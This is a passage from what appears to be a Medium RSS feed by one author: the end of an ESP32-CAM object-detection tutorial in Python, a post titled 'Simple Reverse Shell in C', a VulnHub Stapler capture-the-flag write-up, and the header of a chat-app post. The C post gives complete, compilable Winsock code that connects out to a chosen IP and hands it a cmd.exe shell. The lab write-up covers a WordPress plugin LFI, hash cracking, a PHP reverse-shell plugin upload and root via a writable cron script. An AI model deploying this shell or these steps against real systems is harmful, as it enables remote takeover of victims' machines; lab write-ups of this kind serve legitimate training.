detected.</li><li><strong>start_time , log_dosya , basicConfig():</strong> These are used to configuring the logging function.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yFCbCzUDRFO3sbWPslyNhA.png" /><figcaption>WebServer on the ESP32</figcaption></figure><pre><br>def CamAyar():<br>    # Goruntunun boyutunu belirler. (Default: 640x480)<br>    # (1600x1200: 13, 1280x720: 11, 800x600: 9, 640:480: 8)<br>    boyut = 11<br>    urllib.request.urlopen(url + &quot;/control?var=framesize&amp;val={}&quot;.format(boyut))<br><br>    # Goruntunu kalitesini belirler. (Default: 34 - Ortalama)<br>    # (En iyi: 4 - En kotu: 63)<br>    kalite = 15<br>    urllib.request.urlopen(url + &quot;/control?var=quality&amp;val={}&quot;.format(kalite))</pre><p>CamAyar() function is used to setting up the camera options before the object detection starts. “boyut” variable is used tothe setting up the size of the camera and “kalite” variable is used to adjust the quality of an image that is taken from the web server on ESP32. In order to adjust this settings, simply sending and request to the certain endpoints on the server get the job done.</p><pre>    while True:<br>        # ESP2Cam&#39;den görüntüyü alır<br>        try:<br>            # IP adresine istek (request) gönderir ve veriyi (goruntuyu) alır.<br>            response = urllib.request.urlopen(url + &quot;/capture&quot;) <br>            <br>            # Alınan yaniti (response) byte array&#39;i olarak depolar.<br>            image_data = np.array(bytearray(response.read()), dtype=np.uint8)<br><br>            # Byte array&#39;i cv2&#39;nin isleyebilecegi sekilde goruntuye donusturur.<br>            image = cv2.imdecode(image_data, -1) <br><br>        except Exception as e:<br>            print(f&quot;Goruntu indirilemedi: {e}&quot;)<br>            continue  # görüntüyü alamazsa diğer görüntüye geçer</pre><p>This loop continuously captures images from the ESP32CAM. It sends a request to /capture endpoint to get the image and formats the image to be able to used by OpenCV. If an error occurs during the operation, it prints out “Goruntu indirilemedi” and continues to next iteration.</p><pre>        # Object Detection modelini calistirir<br>        result1 = model1(image, agnostic_nms=True)[0]<br>        result2 = model2(image, agnostic_nms=True)[0]<br><br>        # sv (Supervision) kutuphanesinin kullanabilecegi formata donusturur<br>        detections1 = sv.Detections.from_yolov8(result1)<br>        detections2 = sv.Detections.from_yolov8(result2)<br><br>        # Bazi objelerle cakistigi icin model2&#39;den cikarilacak classlari tutan list<br>        exclude_classes = [&quot;kite&quot;, &quot;refrigerator&quot;, &quot;sports ball&quot;, &quot;frisbee&quot;]<br><br>        detections2_filtered = [<br>            detection for detection in detections2<br>            if model2.model.names[detection[2]] not in exclude_classes<br>        ]</pre><p>This part of code runs object detection on the captured image using both YOLO models.</p><p>“result1” and “result2” variables store the detection results from the two models. Then, the results are converted into a format that is compatible with SuperVision library. An object might be detected by both models at the same time. In order to avoid duplicates, some certain classes from model2 are excluded. And, detections2_filtered filters out the excluded classes from the second model’s detections. The parameter agnostic_nms refers to “class-agnostic non-maximum suppression.” This concept is used in object detection to refine the set of detected bounding boxes by eliminating redundant boxes. When an object detection model makes predictions, it often detects the same object multiple times with slightly different bounding boxes. NMS helps to remove these redundant detections and keep only the most confident ones. NMS algorithm will treat all detected objects as if they belong to the same class. This can be useful in situations where you want to ensure that overlapping detections of different classes are also suppressed.</p><pre>        # Kac tane oldugunu saymak icin gerekli<br>        counts = {}<br>        play_sound = False<br><br>        # Classların sayısını tutmak için<br>        for _, confidence, class_id, _ in detections1:<br>            if confidence &gt;= 0.5:  # Confidence %50&#39;den yuksekse<br>                class_name = model1.model.names[class_id]<br>                if class_name not in counts:<br>                    counts[class_name] = 1<br>                else:<br>                    counts[class_name] += 1<br><br>        for _, confidence, class_id, _ in detections2_filtered:<br>            if confidence &gt;= 0.5: <br>                class_name = &quot;tanimlanamayan nesne&quot;  # Model2&#39;nin tum classlarini &quot;tanimlanamayan nesne&quot; olarak degistir<br>                if class_name not in counts:<br>                    counts[class_name] = 1<br>                else:<br>                    counts[class_name] += 1<br>                # Tanimlanamayan nesne algiladiginda sesi oynatmak icin<br>                play_sound = True</pre><p>This part of code is used to counting the detected objects. For each detection, it, first, checks if the confidence is above 50%. If so, it adds to count for that class.</p><p>If an unidentified (”tanimlanamayan nesne”) is detected, it sets “play__sound” variable to True.</p><pre>        # Log çıktısı almak için<br>        if counts:<br>            log_message = &quot;, &quot;.join([f&quot;{count} {class_name}&quot; for class_name, count in counts.items()])<br>            logging.info(log_message)<br><br>        # Sesi oynatmak için<br>        if play_sound:<br>            playsound(sound_file)</pre><p>If there are any counts (detected objects), it logs it to a text file. <br>If play_sound is True, it plays the sound file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8KatXOAtiHqyf9D5yY48kQ.png" /><figcaption>Contents of log file</figcaption></figure><pre>        # Her bir class için ekrana text yazdırır<br>        y_offset = 50<br>        for i, (class_name, count) in enumerate(counts.items()):<br>            # Ekrandaki yaziyi dikey yazmak icin (normalde yan yana)<br>            y = y_offset + i * 50<br><br>            # Class isimlerinin labels1 ve labels2 listelerine atar<br>            # ve model2 icin etiketleri &quot;tanimlanamadi&quot; olarak degistirir<br>            labels1 = [<br>                f&quot;{model1.model.names[class_id]} {confidence:0.2f}&quot;<br>                for _, confidence, class_id, _<br>                in detections1<br>                if model1.model.names[class_id] == class_name and confidence &gt;= 0.5<br>            ]<br>            labels2 = [<br>                f&quot;tanimlanamadi {confidence:0.2f}&quot;<br>                for _, confidence,</pre><p>This part of code is used to display the detected object’s names on the screen. The for loop retrieves each objects’ class name and count. “labels1” and “labels2” are lists that hold the labels for objects detected by Model1 and Model2, respectively. The image is annotated with bounding boxes and labels for each detected object using the BoxAnnotator from the supervision library.</p><pre><br>            cv2.putText(image, f&quot;{count} tane {class_name} bulundu!&quot;, (50, y), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 255, 0), 2, cv2.LINE_AA)<br><br>        cv2.imshow(&quot;Multidisciplinary Project&quot;, image) # Pencerenin adi<br><br>        if cv2.waitKey(30) == 27: # ESC tusuna basmak programi durdurur<br>            break<br><br>    # Sonlandırır<br>    cv2.destroyAllWindows()</pre><p>putText() function displays a text message about the objects that are detected.</p><p>imshow() is used to set the window name as “Multidisciplinary Project”.</p><p>The loop continues to process and display images until the user presses the ESC key.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf7ea7d6724e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Simple Reverse Shell in C]]></title>
            <link>https://omergnscr.medium.com/simple-reverse-shell-in-c-be1c2f8a40b8?source=rss-7850207f7557------2</link>
            <guid isPermaLink="false">https://medium.com/p/be1c2f8a40b8</guid>
            <category><![CDATA[tcp]]></category>
            <category><![CDATA[c]]></category>
            <category><![CDATA[reverse-shell]]></category>
            <dc:creator><![CDATA[Omer G]]></dc:creator>
            <pubDate>Fri, 15 Mar 2024 23:46:31 GMT</pubDate>
            <atom:updated>2026-10-02T14:00:53.213Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a basic reverse shell written in C that sets up a TCP connection between two devices in a same network and executes the Windows Command Prompt (cmd.exe). All the output, including errors, is being redirected to us so that allowing us to control the target machine.</p><p>GitHub: <a href="https://github.com/0xd3mr/simple-reverse-shell-in-c">https://github.com/OmerGnscr/Simple-Reverse-Shell-in-C</a></p><pre>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;winsock2.h&gt;<br><br>WSADATA wsaData;<br>SOCKET winSock;<br>struct sockaddr_in sockAddr;<br><br>int port = &lt;your-port&gt;;<br>char *ip = &quot;&lt;your-ip&gt;&quot;;<br><br>STARTUPINFO sinfo;<br>PROCESS_INFORMATION pinfo;<br><br>int main(int argc, char *argv[]){<br><br>    int start = WSAStartup(MAKEWORD(2,2), &amp;wsaData);<br><br>    winSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);<br><br>    sockAddr.sin_family = AF_INET;<br>    sockAddr.sin_port = htons(port);<br>    sockAddr.sin_addr.s_addr = inet_addr(ip);<br><br>    WSAConnect(winSock, (SOCKADDR*)&amp;sockAddr, sizeof(sockAddr), NULL, NULL, NULL, NULL);<br><br>    memset(&amp;sinfo, 0, sizeof(sinfo));<br>    sinfo.cb = sizeof(sinfo);<br>    sinfo.dwFlags = STARTF_USESTDHANDLES;<br>    sinfo.hStdError  = (HANDLE)winSock;<br>    sinfo.hStdInput  = (HANDLE)winSock;<br>    sinfo.hStdOutput = (HANDLE)winSock;<br>    <br>    CreateProcessA(NULL, &quot;cmd.exe&quot;, NULL, NULL,TRUE , 0, NULL, NULL, &amp;sinfo, &amp;pinfo);<br><br>    return 0;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UvzFrMHZCWaQhC5k2D9ilw.png" /></figure><p>Let’s summarize what’s happening before we go into the details:</p><ol><li>The <strong>Winsock </strong>is initialized using the <strong>WSAStartup()</strong> fucntion.</li><li>The socket is created using the <strong>WSASocket()</strong> function.</li><li>After assigning ip address and port, connection is established <br> using <strong>WSAConnect()</strong> function. This establishes a TCP connection.</li><li>After the connection, a new process is created using <strong>CreateProcessA()</strong> function. This function creates a cmd.exe and all the input, output and errors are redirected to us.</li></ol><p><strong>#include &lt;stdio.h&gt;</strong> library is used for input and output operations.</p><p><strong>#include &lt;winsock2.h&gt;</strong> library is used for networking like socket programming.</p><p><strong>WSADATA</strong> structure contains information about the Windows Sockets implementation.</p><p><strong>WSADATA wsaData;</strong> is used for creating a WSADATA object whose name is wsaData.</p><p><strong>SOCKET winSock;</strong> The socket function creates a socket whose name is winSock.</p><p><strong>struct sockaddr_in sockAddr;</strong> This structure specifies socket address and port for IPv4 address family.</p><p><strong>int port = &lt;port&gt;;</strong> Specifies the port that will be used.<br><strong>char *ip = “&lt;ip&gt;”;</strong> IPv4 address that target machine will connect to.</p><p><strong>STARTUPINFO sinfo;</strong> STARTUPINFO is used to specify in and out settings for new process that is created by <strong>CreateProcessA()</strong>.</p><ul><li><strong>cb</strong> — The size of the structure, in bytes.</li><li><strong>lpTitle</strong> — For console processes, this is the title displayed in the title bar if a new console window is created.</li><li><strong>dwFlags</strong> — Flags that control how the new process is created.</li><li><strong>hStdError</strong>, <strong>hStdInput</strong>, <strong>hStdOutput</strong> — Handles for error, input and output, respectively.</li></ul><p><strong>PROCESS_INFORMATION</strong> <strong>pinfo;</strong> Contains information about a newly created process.</p><p><strong>WSAStartup </strong>function is used to initialize the socket. First argument specifies the version. There are five versions to choose from and we selected the highest version by using MAKEWORD(2,2).</p><ul><li><strong>MAKEWORD </strong>is used to create a WORD value by concatenating the specified values which is 2,2.</li><li><strong>LPWSADATA lpWSAData</strong> — Starting by word L means that WSAData is a pointer and it hold the details of the windows sockets implementation.</li></ul><p>If successful, the WSAStartup function returns zero.</p><p><strong>WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);</strong> is used to create a socket.<br>If no error occurs, WSASocket returns a descriptor referencing the new socket.</p><ul><li><strong>AF_INET </strong>specifies address family which is IPv4 address family in our case.</li><li><strong>SOCK_STREAM </strong>specifies that TCP protocol is used.</li><li><strong>IPPROTO_TCP </strong>indicates that we use TCP as well.</li><li><strong>lpProtocolInfo </strong>is set to NULL, indicates that no specific setting is specified.</li><li><strong>g</strong> — set to zero if no group operation is performed.</li><li><strong>dwFlags</strong> — A set of flags used to specify additional socket attributes.</li></ul><p><strong>sockAddr.sin_family = AF_INET;</strong> Sets the address family. IPv4 in our case.<br><strong>sockAddr.sin_port = htons(port);</strong> Sets the port number with using htons.</p><ul><li>However, network protocols expect the port number to be in network byte order (big-endian) so <strong>htons()</strong> function is used to convert the port number to network byte order.</li></ul><p><strong>sockAddr.sin_addr.s_addr = inet_addr(ip);</strong> Sets the ipv4 address.</p><p><strong>WSAConnect </strong>is used to establish a connection on a socket to a specified address.<br>If no error occurs, WSAConnect returns zero.</p><ul><li><strong>winSock</strong>: Socket descriptor that indicates which socket to be used for the connection.</li><li><strong>(SOCKADDR*)&amp;sockAddr</strong> — A pointer to a sockaddr structure that specifies the address to which to connect.</li><li><strong>sizeof(sockAddr)</strong> — The length, in bytes, of the sockaddr structure pointed to by the name parameter.</li></ul><p><strong>memset()</strong> is used to fill a block of memory with a particular value.<br>In our case, it sets all the bytes in the “sinfo” to zero. It is a common way to initialize an array before using it.</p><ul><li><strong>sinfo.cb </strong>— size of the sinfo</li><li><strong>STARTF_USESTDHANDLES</strong> indicates that the hStdInput, hStdOutput, and hStdError members contain additional information. It enables the redirection of standard input, standard output, and standard error for the new process.</li></ul><p><strong>CreateProcess </strong>is used to create a new process. All the parameters can also be found at microsoft’s documentations.</p><ul><li>“<strong>cmd.exe</strong>” means that the we want to execute cmd.exe.</li><li>For the last two parametes, we set the <strong>STARTUPINFO </strong>and <strong>PROCESS_INFORMATION</strong>.</li></ul><p>Compile with <strong>gcc .\c-rev-shell.c -o shell.exe -lws2_32</strong></p><h4>To-do:</h4><p>1. Error-handling<br>2. Adding encryption<br>3. Adding functionality</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=be1c2f8a40b8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[VulnHub: Stapler]]></title>
            <link>https://omergnscr.medium.com/vulnhub-stapler-2e0228e26b25?source=rss-7850207f7557------2</link>
            <guid isPermaLink="false">https://medium.com/p/2e0228e26b25</guid>
            <category><![CDATA[vulnhub-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[stapler]]></category>
            <dc:creator><![CDATA[Omer G]]></dc:creator>
            <pubDate>Sat, 09 Mar 2024 13:14:32 GMT</pubDate>
            <atom:updated>2024-03-09T13:14:32.676Z</atom:updated>
            <content:encoded><![CDATA[<p>Vulnerable Machine: <a href="https://www.vulnhub.com/entry/stapler-1,150/">https://www.vulnhub.com/entry/stapler-1,150/</a><br>Author: <a href="https://www.vulnhub.com/author/g0tmi1k,21/">g0tmi1k</a></p><h4>Setting up the Environment</h4><p>After downloading the virtual machine files, launch the virtualbox and import the .ovf file and hit the finish button. This will create the virtual machine.</p><p>For taking notes, I’ve used obsidian which is a great app for taking notes and screenshots.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/332/1*DUHnlYk1v555VqH4Qf7pwQ.png" /></figure><p>To find the ip address of the machine, we can use the <strong>netdiscover </strong>tool to find all the machines in our network.</p><blockquote>sudo netdiscover -i &lt;interface&gt;</blockquote><h3>Scanning for Open Ports</h3><p>I’ve run two <strong>nmap </strong>scans on the machine for identifying open ports and what services are on those ports. Firstly, I have run an quick scan to gain general knowledge about the services and secondly, I have run a full port scan.<br>Before moving on, I have edited my /etc/hosts file and added the machine as stapler.vh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*H3_DSTqHC4tO-TSpcUoqWw.png" /><figcaption>All ports and related services</figcaption></figure><h4>Port 21 — FTP</h4><p>I’ve run an full nmap scan on the port 21 with an -A flag for service and script scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*UmCnohYev8udR4VsPPfxGA.png" /></figure><p>We can see, anonymous login is enabled so we can login as ‘anonymous’ without an password and see what’s inside of it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*2e3RFYAmR1Ocg5_wUDhWVw.png" /><figcaption>Anonymous login</figcaption></figure><p>Before taking a look at what’s inside, we should add the name “Harry” to our user’s list. This list should help us brute-forcing stuff.</p><p>There was only “note” file on server. To get that we can use “get note” command to download it on our attacking machine (kali in my case).</p><blockquote>&gt; cat note<br>Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John</blockquote><p>There are two more users to add to our list, Elly and John.</p><p>After I use searchsploit to identify vulnerabilities on that specific FTP version, vsftpd 2.0.8, but nothing came up.</p><h4>Port 22 — SSH</h4><p>Not exploitable, there is only a user enumeration script written in python in searchsploit. Maybe we can use it later but not now.</p><h4>Port 53 -DNS</h4><p>Not exploitable neither. Searchsploit came up nothing but the overflow attacks but those are just for DoS attack. Not useful for now (opsiyonel).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*v557cUHTPqaUGigbPjAbGg.png" /></figure><h4>Port 80 — HTTP</h4><p>Let’s browse the web server for manual enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*pg0i-W7RP0GZtCBrluNmeQ.png" /></figure><p>This is interesting, there is nothing on the web root and nothing in source code.</p><p>Let’s use <strong>gobuster </strong>to find directories and files in the webserver. I’ve used big.txt for my initial scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*IX2JsOMWzoA-49WS_aBTJg.png" /></figure><p>Gobuster found two files on the web server, “.bashrc” and “.profile”.</p><blockquote>.<strong>bashrc</strong>: A configuration file for the Bash shell. It was just a default file, nothing useful.<br>.<strong>profile</strong>: A conf file is often used to set exported environment variables and terminal modes. Nothing useful netiher.</blockquote><p>After running gobuster, I’ve used <strong>ffuf</strong> for more extensive directory and file fuzzing using <strong>raft wordlist</strong> for both directories and files but found nothing but files we’ve found before.</p><p>It was interesting that I’ve found literally nothing with my enumeration. So, I decided to use <strong>nikto </strong>and <strong>nuclei </strong>to find the vulnerabilities automatically.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*o-8iLRLFjoWew9Prwo1-pQ.png" /></figure><p>Since nikto did not find anything useful, I’ve decided to move on to enumerate other services on machine.</p><h4>Port 139 — SAMBA</h4><p>Firstly, I’ve scan the port 139 with nmap to gain initial knowledge about the service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*jHcVVwfsnO5g292_MUQJew.png" /></figure><p>After scanning with nmap, let’s use <strong>enum4linux</strong> tool to enumerate much faster than manual enumeration. While the enum4linux running on the another terminal, let’s enumerate manually using <strong>netexec</strong> tool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k1OnlwkMVv6VPdwmyCvDOw.png" /><figcaption>Enumeration with null credentials</figcaption></figure><p>This is a great finding! We have two shares: “kathy” and “tmp”. And we see that we have “write” permission on the tmp share.</p><p>And, we should add all the usernames we found to our users.lst file.</p><p>Let’s enumerate “kathy” share using <strong>smbclient</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*HYsIBQ26fAnvXQGXkTvF8A.png" /></figure><p>There are two directories on kathy’s share: “kathy_stuff” and “backup”.</p><p>It’s so nice to see backup files on shares.</p><blockquote>&gt; cat todo-list.txt<br>I’m making sure to backup anything important for Initech, Kathy</blockquote><p>There was nothing important on vsftpd.conf file. Let’s see what’s inside that tar file.</p><blockquote>&gt; tar -xzvf wordpress-4.tar.gz</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*odg3qbGi3T5b-HYwn5GJWg.png" /><figcaption>Wordpress files</figcaption></figure><p>It is unfortunate that we do not have the “wp-config.php” file which contains configuration settings like database information or login credentials etc. We just have the version number which is 4.2.1.</p><p>So, let’s enumerate our another share, “tmp”. This share has nothing but a file named as “ls”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*kGLwTHJwfqwwtTlCXNYJZg.png" /><figcaption>“ls” file.</figcaption></figure><p>It think that this is just a /tmp directory on the target machine. We could transfer files using this share in post-exploitation phase since we have a write permission on it.</p><p>Now, let’s take a look at what enum4linux have found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*5KeUg_77ZuFUuJrSRB-N-g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*RrE5YzSWF_gIQbJiNqsvyQ.png" /><figcaption>Users on the machine.</figcaption></figure><p>Altough we have not found any credentials, there were bunch of good information for further investigation.</p><h4>Port 3306 -MySQL</h4><p>I have run the nmap scan using <a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-mysql#external-enumeration">HackTricks’ command</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NyWK9Fe1vuv7-tedQdcsng.png" /></figure><p>There were many false-positives about the credentials that nmap found. We need valid credentials for further investigating the database.</p><p>I have used <strong>metasploit</strong>’s <strong>mysql_login</strong> module to brute force but nothing came up with that.</p><h4>Port 12380 — Apache</h4><p>Let’s first enumerate manually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*QRqy_msfUQCk8K6H87BY8w.png" /></figure><p>This website has not yet finished. When we look at the source code, there were some information commented out:</p><blockquote>&lt;&lt;! — A message from the head of our HR department, Zoe, if you are looking at this, we want to hire you! →&gt;<br>&lt;&lt;! — Change the image source ‘/images/default.jpg’ with your favourite image. →&gt;</blockquote><p>Let’s add “tim” and “zoe” to our user.lst file.</p><p>I’ve started enumeration with finding the directories and file on the system but nothing had worked out. All the tools I used was extremely slow. Also, I couldn’t anything with nikto and nuclei scans. And, all the server’s response was “400 Bad Request<strong>”</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*6KNhtieUCdQzsdoIM1wLGQ.png" /></figure><p>As the response header Dave(?) says: “Soemthing doesn’t look right here”, he is right, wtf is going on. I could not find anything in this webserver.</p><p>I’ve checked my notes if I, maybe, missed something but not, there has to be something on this webserver.</p><p><strong>This is where I got stuck.</strong> When I hard stuck on something, last thing I do is that I review the writeups. So, I did. That’s what I like about CTFs. It forces you to learn in a hard way but in a way you willl never forget.</p><p>My mistake was that I only checked the http protocol not “https”. Altough, nikto and nuclei did not inform me about ssl/tls, I didn’t think of “https” was in used. After all this, I will check both http and https protocols.</p><p>Let’s begin enumerating. Again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*-ifN0FIdPI46goAXYUPASQ.png" /></figure><p>We are in a right path. Let’s find the directoreis and files on the web server on port 12380.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*z6L4p6zlbXkTA6sMVc20kw.png" /><figcaption>Directories in webroot.</figcaption></figure><blockquote>/javascript/ was forbidden. We do not have access to it.</blockquote><blockquote>/phpmyadmin/ is a default login page. We can brute force it, maybe.</blockquote><blockquote>/announcements/ has a message.txt in it: <br>“Abby, we need to link the folder somewhere! Hidden at the mo”</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*9yQSlCJ3MhiMsPSB26xmYw.png" /><figcaption>Files in the webroot.</figcaption></figure><p>Let’s check the robots.txt file. There are two directories that are dissallow for bots to crawling. These are the directories:</p><blockquote>/admin112233/<br>/blogblog/</blockquote><p>The author, g0tmi1k, really got me on this /admin112233/ path. But I prefer XSS hook rather then being rick rolled. Anyway, I fuzzed /admin112233/ for files or something but I came up wtih nothing.</p><p>Let’s check the blog page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*f7b_J3tkCR226AX0xg3APQ.png" /></figure><p>So, this is a Wordpress version 4.2.1 . When we look at the blog posts, we can see that they are all written by John Smith which seems to be an admin because under his name, it says “I run this place” so it could be great to have his credentials in our pocket.</p><p>I have started with <strong>wpscan</strong> tool which does not useful.</p><p>I tried to brute-force the login page using the “john” username, but I didn’t manage to do it using hydra. I changed the command many times but I could not make it work. I do not know if it is my mistake or not. So, I used wpscan to brute-force the login page. It will be a long brute-forcing so let’s enumerate.</p><p>After doing some directory brute forcing, we can see that there are three directories under /wp-content/ which are: plugins, themes, uploads.</p><p>Inside the plugins, there are four plugins present.</p><blockquote>advanced-video-embed-embed-videos-or-playlists<br>hello.php<br>shortcode-ui<br>two-factor</blockquote><p>I, first, started fuzzing the hello.php for parameters but found nothing.</p><p>When i was writing advanced video em…, the google search showed me something interesting; “<strong>advanced video embed exploit</strong>”.</p><p>This was a <strong>LFI vulnerability</strong> which allow us to review some of the files in the target machine. Let’s try to exploit it.</p><p>There were <strong>another LFI</strong> vulnerability for shortcode-ui and CSRF for two-factor plugin but I’ll stick to the advanced video embed for now. If i cannot make it work, I’ll use shortcode-ui.</p><p>I downloaded the exploit code, modify the url variable and have it run. It has given this error:</p><blockquote>urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed</blockquote><p>Since this wordpress site uses https, we need to modify this code run on https connections.</p><p>For fixing the code, I use <a href="https://stackoverflow.com/questions/27835619/urllib-and-ssl-certificate-verify-failed-error">this post </a>to fix it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*Wljxglr8f6UYTJ-ESbGceQ.png" /></figure><p>This script does not print the contents of the file but we can do it manually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*BKT8jv3WxgiOhV-jqXDXUA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*C3E8SbHw9w09if8Prv4Gsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*IvABEeNgd7TgdFnkC8KUvw.png" /></figure><p>It is great! We have the password the root user for MySQL.</p><p>Let’s try to authenticate using MySQL on our attacking machine, and start enumerating.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*9Nirh-7F68kY5LAQAdDePQ.png" /></figure><p>There is a staff and staff_list tables. When we try to look at what’s in that staff table, we see that bunch of gibberish because there is a picture column and we try to view it. Let’s check the colums and take a look at what is good for use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*DWw368gHP-c5lFvEpEBE2w.png" /></figure><p>We got the Mike’s password hash. Let’s crack it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*quPiEkZWqqnqz2GVqfoZug.png" /></figure><p>I used it for login pages, ftp, ssh and smb but it does not useful to us.</p><p>Database “loot” is done. And phpmyadmin is not useful. Let’s take a look at “proof” database. There is a message that says:</p><blockquote>| Vicki, You really need to sort out this database when you get the chance |</blockquote><p>Lastly, the “wordpress” database:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*Wsaw9pEqcRjobC4_kEYqyA.png" /></figure><p>And we have all the user’s password hashes. Let’s crack the John’s hash using <strong>john </strong>because he’s an admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*Gemkmm-Qm8wxNqoM34WI5Q.png" /></figure><p>And, we cracked it!.</p><p>Because of my bad luck, recall that we started an brute-force attack against the wordpress login page using wpscan. It turned out that we had already his password but I forget to check that if it is finished or not. bruh.</p><h3>Getting a Reverse Shell</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*9OGOa6MObFB-rPDrnTXhzg.png" /></figure><p>If we wanted to get a reverse shell, we could use themes or plugins. Since the themes are not writable (we do not have write permissions to them), let’s upload a plugin, a php reverse shell, and get our shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*5jMDG1VwhAtQhOMf8ulThA.png" /></figure><p>Test file just worked. Let’s upload the php reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*gmxXMz01epftB7Pj2tpPZw.png" /></figure><p>Let’s try to be root!</p><h3>Privilege Escalation</h3><p>After some basic enumeration on this Linux machine. We could try to move laterally inside this box like getting a shell behalf of the users below. But I, first, tried to be a root as www-data user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*k1gmxbQtNk3fVWkWrghuLQ.png" /></figure><blockquote>Since we do not have a password, we cannot try “sudo -l”</blockquote><blockquote>There was no useful SUID bit’s set binary file.</blockquote><blockquote>Cannot write to a passwd or read shadow file.</blockquote><blockquote>No capabilities → getcap / -r 2&gt;/dev/null</blockquote><p>Then, I took a look at what is running on the background using <strong>pspy</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_I9OOMROaItH9sj-NiR8mA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*mh6El-Dj4TpTM0Xbl5Lc0A.png" /></figure><p>There were many things going on in the background. I checked the most of it and found the cron-logrotate.sh at /usr/local/sbin directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*PT5N9HwUIHk_K4JMkfwTzg.png" /></figure><p>It belongs to the root and we have “write” permission to it. So, I use bash reverse shell one-liner and set up the <strong>netcat </strong>on my attacking machine<strong>.</strong></p><p>And we got the root shell!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*vSqipu5uqirTg4WEHv8c0g.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2e0228e26b25" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Simple Chat App using Python]]></title>
            <link>https://omergnscr.medium.com/simple-chat-app-using-python-a9105a218ec1?source=rss-7850207f7557------2</link>
            <guid isPermaLink="false">https://medium.com/p/a9105a218ec1</guid>
            <category><![CDATA[chattcp]]></category>
            <category><![CDATA[chat]]></category>
            <category><![CDATA[chat-app-python]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[chat-app-script]]></category>
            <dc:creator><![CDATA[Omer G]]></dc:creator>
            <pubDate>Mon, 25 Sep 2023 18:37:33 GMT</pubDate>
            <atom:updated>2026-10-28T12:02:33.973Z</atom:updated>
